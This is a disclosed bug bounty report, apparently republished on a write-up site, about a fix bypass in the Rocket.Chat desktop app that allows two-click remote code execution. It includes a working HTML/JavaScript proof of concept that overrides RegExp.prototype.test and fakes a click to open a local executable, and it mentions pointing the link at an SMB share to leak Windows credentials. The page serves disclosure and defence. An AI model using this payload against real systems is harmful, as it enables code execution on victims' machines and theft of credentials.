Desktop app RCE (#276031 bypass)
The desktop app's link preload script could be tricked by overriding RegExp.prototype.test and dispatching a synthetic click event, causing shell.openExternal to open an attacker-controlled path. An attacker could achieve remote code execution or leak Windows credentials by pointing to a local executable or SMB share.
- Triaged in 15 hours
- Fixed in 5 months
- Disclosed after 7 months
Summary: #276031 fix bypass, two click remote code execution.
Description: The security issue is in links preload file https://github.com/RocketChat/Rocket.Chat.Electron/blob/master/src/preload/links.js file.
By rewriting RegExp.prototype.test method it is possible to prepare proper answers to get to the shell.openExternal method. To trigger events attached by addEventListener you can use dispatchEvent method.
Note: for demo I pointed to calc.exe, it also cloud be pointed, to SMB share (example. \\server\share\executable.exe), which can lead to windows credential leak and attacker also can execute arbitrary code on victims machine.
i believe this issue is cross-platform, an can be exploited in Linux, MacOS with minor JavaScript modifications.
Releases Affected:
- Rocket.Chat.Electron 2.17.9
Steps To Reproduce (from initial installation to vulnerability):
- Create web page with following
index.html
<html>
<head>
</head>
<body style="background-color: white;" >
<h1>Initializing surprise in 3, 2, 1</h1>
<script>
setTimeout(() => {
// create link
let a = document.createElement('A');
a.setAttribute('href', 'c:\\windows\\system32\\calc.exe');
// hooks regexp.test
RegExp.prototype._test = RegExp.prototype._test || RegExp.prototype.test;
RegExp.prototype.test = function(...args){
return this.source === '^([a-z]+:)?\\/\\/' || this._test(...args);
}
// add missing method
document.closest = () => a;
// triger event
document.dispatchEvent(new Event('click'));
//cleanup
RegExp.prototype.test = RegExp.prototype._test;
delete RegExp.prototype._test;
}, 100);
</script>
</body>
</html>
- create
api/infowhich contains JSON, can be empty JSON. - Add new server
Supporting Material/References:

Suggested mitigation
I understand that deep-links and Add new server are a features and not bugs
- The simplest fix would be to check
isTrustedattribute for events, but I'm 100% certain that it can be bypassed. - Enable context isolation (https://github.com/electron/electron/blob/master/docs/tutorial/security.md#3-enable-context-isolation-for-remote-content)
Impact
An attacker can trick victim to click on deep-link or add self hosted server to desktop application, which leads to remote code execution. I understand that deep-links and/or self hosted servers are not a bug, but it can be used in attack vector.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker can trick the victim into clicking a deep-link or adding a self-hosted server, leading to remote code execution or Windows credential leak; the report believes it is cross-platform.
What the attacker needed
Victim clicks a link or adds a server; attacker hosts a web page; desktop app version 2.17.9
The fix
The report suggests checking the isTrusted attribute of events and enabling context isolation, though it notes the first may be bypassable.
How it was found
- Create a web page with a script that overrides RegExp.prototype.test and dispatches a click event.
- Create an api/info endpoint that returns JSON (can be empty).
- Add a new server in the desktop app pointing to the attacker's page.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The app checks links using a regular expression before opening them. An attacker can replace that check with a fake one that always says 'yes', then simulate a click on a malicious link. This makes the app open a program on the victim's computer, like the calculator, or a network share that can steal login details.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.